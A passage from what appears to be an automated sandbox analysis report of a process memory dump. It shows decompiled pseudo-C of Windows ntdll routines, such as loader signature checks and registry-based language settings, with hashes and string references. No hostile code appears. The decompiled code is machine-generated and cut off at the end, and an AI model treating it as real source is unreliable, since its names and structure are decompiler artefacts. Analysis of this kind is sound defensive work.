								E02D6BB40(_t262,  &_v68, _t244);
								if(L02D343C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E02D71370(_t282, 0x2d04e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E02D6BB40(_t262,  &_v68, _t201);
							if(L02D343C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L02D44620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E02D6F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E02D71370(_t280, 0x2d04e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E02D6BB40(_t267,  &_v68, _t245);
							if(L02D343C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E02D71370(_t284, 0x2d04e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E02D6BB40(_t267,  &_v68, _t224);
						if(L02D343C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x02d33d3c
0x02d33d42
0x02d33d44
0x02d33d46
0x02d33d49
0x02d33d4c
0x02d33d4f
0x02d33d52
0x02d33d55
0x02d33d58
0x02d33d5b
0x02d33d5f
0x02d33d61
0x02d33d66
0x02d88213
0x02d88218
0x02d34085
0x02d34088
0x02d3408e
0x02d34094
0x02d3409a
0x02d340a0
0x02d340a6
0x02d340a9
0x02d340af
0x02d340b6
0x02d340bd
0x02d340bd
0x02d33d83
0x02d8821f
0x02d88229
0x02d88238
0x02d88238
0x02d8823d
0x02d8823d
0x02d33da0
0x02d33daf
0x02d33db5
0x02d33dba
0x02d33dba
0x02d33dd4
0x02d33e94
0x02d33eab
0x02d33f6d
0x02d33f84
0x02d3406b
0x02d3406b
0x02d3406e
0x02d3406e
0x02d34070
0x02d34074
0x02d88351
0x02d88351
0x02d3407a
0x02d3407f
0x02d8835d
0x02d88370
0x02d88377
0x02d88379
0x02d8837c
0x02d8837c
0x02d8835d
0x00000000
0x02d3407f
0x02d33f8a
0x02d33f8d
0x02d33f90
0x02d33f95
0x02d8830d
0x02d8830f
0x02d33f9b
0x02d33fac
0x02d33fae
0x02d33fb1
0x02d33fb1
0x02d33fb6
0x02d88317
0x02d8831a
0x00000000
0x02d33fbc
0x02d33fc1
0x02d33fc9
0x02d33fd7
0x02d33fda
0x02d33fdd
0x02d34021
0x02d34021
0x02d34029
0x02d34030
0x02d34044
0x02d34046
0x02d34046
0x02d34044
0x02d34049
0x02d88327
0x02d88334
0x02d88339
0x02d8833c
0x02d3404f
0x02d3404f
0x02d3404f
0x02d34051
0x02d34056
0x02d34063
0x02d34063
0x02d34068
0x00000000
0x02d34068
0x02d33fdf
0x02d33fe2
0x02d33fe4
0x02d33fe7
0x02d33fef
0x02d34003
0x02d34005
0x02d34005
0x02d3400c
0x02d34013
0x02d34016
0x02d34017
0x02d3401b
0x02d3401e
0x00000000
0x02d3401e
0x02d33fb6
0x02d33eb1
0x02d33eb4
0x02d33eb7
0x02d33ebc
0x02d882a9
0x02d882ab
0x02d33ec2
0x02d33ed3
0x02d33ed5
0x02d33ed8
0x02d33ed8
0x02d33edd
0x02d882b3
0x02d882b6
0x00000000
0x02d33ee3
0x02d33ee8
0x02d33eed
0x02d33ef0
0x02d33ef3
0x02d33f02
0x02d33f05
0x02d33f08
0x02d882c0
0x02d882c3
0x02d882c5
0x02d882c8
0x02d882d0
0x02d882e4
0x02d882e6
0x02d882e6
0x02d882ed
0x02d882f4
0x02d882f7
0x02d882f8
0x02d882fc
0x02d882ff
0x02d882ff
0x02d33f0e
0x02d33f11
0x02d33f16
0x02d33f1d
0x02d33f31
0x02d88307
0x02d88307
0x02d33f31
0x02d33f39
0x02d33f48
0x02d33f4d
0x02d33f50
0x02d33f50
0x02d33f53
0x02d33f58
0x02d33f65
0x02d33f65
0x02d33f6a
0x00000000
0x02d33f6a
0x02d33edd
0x02d33dda
0x02d33ddd
0x02d33de0
0x02d33de5
0x02d88245
0x02d33deb
0x02d33df7
0x02d33dfc
0x02d33dfe
0x02d33e01
0x02d33e01
0x02d33e06
0x02d8824d
0x02d8824f
0x02d88254
0x00000000
0x02d33e0c
0x02d33e11
0x02d33e16
0x02d33e19
0x02d33e29
0x02d33e2c
0x02d33e2f
0x02d8825c
0x02d8825f
0x02d88261
0x02d88264
0x02d8826c
0x02d88280
0x02d88282
0x02d88282
0x02d88289
0x02d88290
0x02d88293
0x02d88294
0x02d88298
0x02d8829b
0x02d8829b
0x02d33e35
0x02d33e38
0x02d33e3d
0x02d33e44
0x02d33e58
0x02d882a3
0x02d882a3
0x02d33e58
0x02d33e60
0x02d33e6f
0x02d33e74
0x02d33e77
0x02d33e77
0x02d33e7a
0x02d33e7f
0x02d33e8c
0x02d33e8c
0x02d33e91
0x00000000
0x02d33e91

Strings

WindowsExcludedProcs, xrefs: 02D33D6F
Kernel-MUI-Language-SKU, xrefs: 02D33F70
Kernel-MUI-Number-Allowed, xrefs: 02D33D8C
Kernel-MUI-Language-Allowed, xrefs: 02D33DC0
Kernel-MUI-Language-Disallowed, xrefs: 02D33E97

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 27df5521d7f0e1699f9ed68be87a4010d99c3fdffd1d45c8d842ce2f141b7419
Instruction ID: 0390633455ddfb29c6ae34b07f6a21f84fc93293c22d6e0d062d77cbb9d52db5
Opcode Fuzzy Hash: 27df5521d7f0e1699f9ed68be87a4010d99c3fdffd1d45c8d842ce2f141b7419
Instruction Fuzzy Hash: 0EF11672D00659EBCB12DF98C980EEEBBB9EF48750F14416AE905E7350E7749E01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D37E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E02D37E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E02D3CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E02D2C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x2e15780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E02DA5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x2e15780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E02D47D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E02D47D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E02DA7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E02D47D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E02D47D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E02DA7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E02D5A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E02D2B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x02d37e4c
0x02d37e50
0x02d37e55
0x02d37e58
0x02d37e5d
0x02d37e71
0x02d37f33
0x02d37e77
0x02d37e77
0x02d37e79
0x02d37e79
0x02d37e7e
0x02d37f45
0x02d89848
0x00000000
0x02d89848
0x02d37f4e
0x02d37f53
0x02d37f5a
0x00000000
0x00000000
0x02d8985a
0x02d89862
0x02d89866
0x00000000
0x02d8986c
0x00000000
0x02d8986c
0x02d37e84
0x02d37e84
0x02d37e8d
0x02d89871
0x02d37eb8
0x02d37ec0
0x02d37ec0
0x02d37e9a
0x02d8987e
0x00000000
0x00000000
0x02d89884
0x02d8988b
0x02d898a7
0x02d898ac
0x02d898b1
0x02d898b6
0x02d898b8
0x02d898b8
0x02d898b9
0x00000000
0x02d898b9
0x02d37ea0
0x02d37ea7
0x00000000
0x00000000
0x02d37eac
0x02d37eb1
0x02d37ec6
0x02d37ed0
0x02d898cc
0x02d37ed6
0x02d37ed6
0x02d37ed6
0x02d37ede
0x02d37ee3
0x02d898e3
0x02d898f0
0x02d89902
0x02d898f2
0x02d898fb
0x02d898fb
0x02d89907
0x02d8991d
0x02d8991d
0x02d89907
0x02d898e3
0x02d37ef0
0x02d37f14
0x02d37f14
0x02d37f1e
0x02d89946
0x02d37f24
0x02d37f24
0x02d37f24
0x02d37f2c
0x02d8996a
0x02d89975
0x02d89975
0x02d8997e
0x02d89993
0x02d89993
0x02d8997e
0x00000000
0x02d37ef2
0x02d37efc
0x02d37f0a
0x02d37f0e
0x02d89933
0x00000000
0x02d89933
0x00000000
0x02d37f0e
0x00000000
0x00000000
0x00000000
0x02d37eb1

Strings

LdrpCompleteMapModule, xrefs: 02D89898
minkernel\ntdll\ldrmap.c, xrefs: 02D898A2
Could not validate the crypto signature for DLL %wZ, xrefs: 02D89891

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: f0d6a0c2c464dba372d6e9ddaa6bd2156ab78e369feaef122513baccb7643093
Instruction ID: 7a4a54b4d415dd2d458e9c40d718ac7ade48c32452a31ec01a28a23e69dc6668
Opcode Fuzzy Hash: f0d6a0c2c464dba372d6e9ddaa6bd2156ab78e369feaef122513baccb7643093
Instruction Fuzzy Hash: 595124B1A04B429BF722DB68C854B7AB7E4FF00318F0405A9E891AB7E1C770ED00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D2E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E02D2E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E02D2F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E02D695D0();
						}
						if(_t78 != 0) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E02D6FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E02D6BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E02D69600();
					if(_t97 < 0) {
						goto L6;
					}
					E02D6BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L02D2F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E02D6BB40(_t83, _t102 + 0x24, _t78);
								if(L02D343C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E02D6BB40(_t84, _t102 + 0x24, _t94);
									if(L02D343C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x02d2e620
0x02d2e628
0x02d2e62f
0x02d2e631
0x02d2e635
0x02d2e637
0x02d2e63e
0x02d85503
0x02d85503
0x02d2e64c
0x02d2e64c
0x02d2e651
0x00000000
0x00000000
0x02d2e661
0x02d2e665
0x02d8542a
0x02d2e715
0x02d2e71a
0x02d2e71c
0x02d2e720
0x02d2e720
0x02d2e727
0x02d2e736
0x02d2e736
0x02d2e743
0x02d2e743
0x02d2e673
0x02d2e678
0x02d2e67d
0x02d2e682
0x02d2e685
0x02d2e692
0x02d2e69b
0x02d2e6a3
0x02d2e6ad
0x02d2e6b1
0x02d2e6b2
0x02d2e6bb
0x02d2e6bf
0x02d2e6c0
0x02d2e6c8
0x02d2e6cc
0x02d2e6d5
0x02d2e6d9
0x00000000
0x00000000
0x02d2e6e5
0x02d2e6ea
0x02d2e6f9
0x02d2e70b
0x02d2e70f
0x02d85439
0x02d8545e
0x02d8545e
0x00000000
0x02d8545e
0x02d8543b
0x02d8543e
0x02d85440
0x02d85445
0x02d85472
0x02d85475
0x02d8548d
0x02d85493
0x02d854a9
0x00000000
0x00000000
0x02d854ab
0x02d854b4
0x02d854bc
0x02d854c8
0x02d854de
0x02d854fb
0x02d854e0
0x02d854e6
0x02d854eb
0x02d854eb
0x02d854de
0x00000000
0x02d854bc
0x02d85477
0x02d8547a
0x02d85480
0x02d85483
0x02d85486
0x02d8548b
0x00000000
0x00000000
0x00000000
0x02d8548b
0x00000000
0x00000000
0x00000000
0x00000000
0x02d85447
0x02d85447
0x02d85447
0x02d85447
0x02d8544e
0x00000000
0x00000000
0x02d85450
0x02d85452
0x02d85455
0x02d8545a
0x00000000
0x00000000
0x00000000
0x02d8545c
0x02d8546a
0x02d8546d
0x02d8546f
0x00000000
0x02d8546f
0x02d2e70f

Strings

@, xrefs: 02D2E6C0
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 02D2E68C
InstallLanguageFallback, xrefs: 02D2E6DB

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: e6241c679396d19e6967ec3c278998b70a3057683406588c11b2ef46448d4d8a
Instruction ID: 6202018025de98a9292ed23fc2a7f0b5ece1c34dbcbc91c4996aa89502b3eb81
Opcode Fuzzy Hash: e6241c679396d19e6967ec3c278998b70a3057683406588c11b2ef46448d4d8a
Instruction Fuzzy Hash: E551AC725083559BC710EF28D440BAAB3E8EF88718F45096EF985E7340E734DD08CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D4B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E02D4B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x2e1d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E02D47D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E02DF8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E02D69E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E02D6B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E02D6CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E02D47D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E02DF8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E02D6AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x2e18628; // 0x0
								_v68 = _t77;
								_t78 =  *0x2e1862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x2e18628; // 0x0
							_t116 =  *0x2e1862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x02d4b94c
0x02d4b956
0x02d4b95c
0x02d4b95e
0x02d4b964
0x02d4b969
0x02d4b96d
0x02d4b96d
0x02d4b970
0x02d4b974
0x02d4b97a
0x02d4badf
0x02d4badf
0x02d4bae2
0x02d4bae4
0x02d4bae6
0x02d4baf0
0x02d92cb8
0x02d4baf6
0x02d4baf6
0x02d4baf6
0x02d4bafd
0x02d4bb1f
0x02d4bb1f
0x02d4baff
0x02d4bb00
0x02d4bb00
0x02d4bb03
0x02d4bb03
0x02d4bacb
0x02d4bacf
0x02d4bad0
0x02d4bad1
0x02d4badc
0x02d4badc
0x02d4b980
0x02d4b980
0x02d4b988
0x02d4b98b
0x02d4b98d
0x02d4b990
0x02d4b993
0x02d4b999
0x02d4b99b
0x02d4b9a1
0x02d4b9a5
0x02d4b9aa
0x02d4b9b0
0x02d4b9bb
0x02d4b9c0
0x02d4b9c3
0x02d4b9ca
0x02d4b9cc
0x02d4b9cf
0x02d4b9d3
0x02d4b9d7
0x02d4ba94
0x02d4ba94
0x02d4ba98
0x02d4baa3
0x02d92ccb
0x02d4baa9
0x02d4baa9
0x02d4baa9
0x02d4bab1
0x02d92cd5
0x02d92cdd
0x02d92cdd
0x02d4babb
0x02d4babc
0x02d4bac2
0x02d4bac3
0x02d4bac3
0x02d4bac6
0x00000000
0x02d4b9dd
0x02d4b9dd
0x02d4b9e7
0x02d4b9e7
0x02d4b9ec
0x02d4b9ec
0x02d4b9f1
0x02d4b9f5
0x02d4b9fa
0x02d4ba00
0x02d4ba0c
0x02d4ba10
0x02d4ba10
0x02d4ba12
0x02d4ba18
0x00000000
0x00000000
0x02d4bb26
0x02d4bb26
0x02d4ba1e
0x02d4ba1e
0x02d4ba23
0x02d4ba25
0x02d4ba2c
0x02d4ba30
0x02d4ba35
0x02d4ba35
0x02d4ba41
0x02d4ba46
0x02d4ba4c
0x02d4ba50
0x02d4ba54
0x02d4ba6a
0x02d4ba6e
0x02d4ba70
0x02d4ba74
0x02d4ba78
0x02d4ba7a
0x02d4ba7c
0x02d4ba8e
0x02d4ba90
0x02d4ba92
0x02d4bb14
0x02d4bb14
0x02d4bb16
0x02d4bb16
0x00000000
0x02d4ba7c
0x02d4bb0a
0x02d4bb0d
0x00000000
0x00000000
0x00000000
0x02d4bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02D4B9A5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 7ce6020e16301a8f97a757dbc6db429149de79282b00baf8333aa8f10e8ec362
Instruction ID: 47f4ba66514489c9cb63fc585694e700e5ecd151b96d653471dcafe7f732efb9
Opcode Fuzzy Hash: 7ce6020e16301a8f97a757dbc6db429149de79282b00baf8333aa8f10e8ec362
Instruction Fuzzy Hash: 5C513271A08340CFC724CF29C480A2ABBE6FB98608F54896FE99597354DB70EC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D2B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E02D2B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x2dff7a8);
				E02D7D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
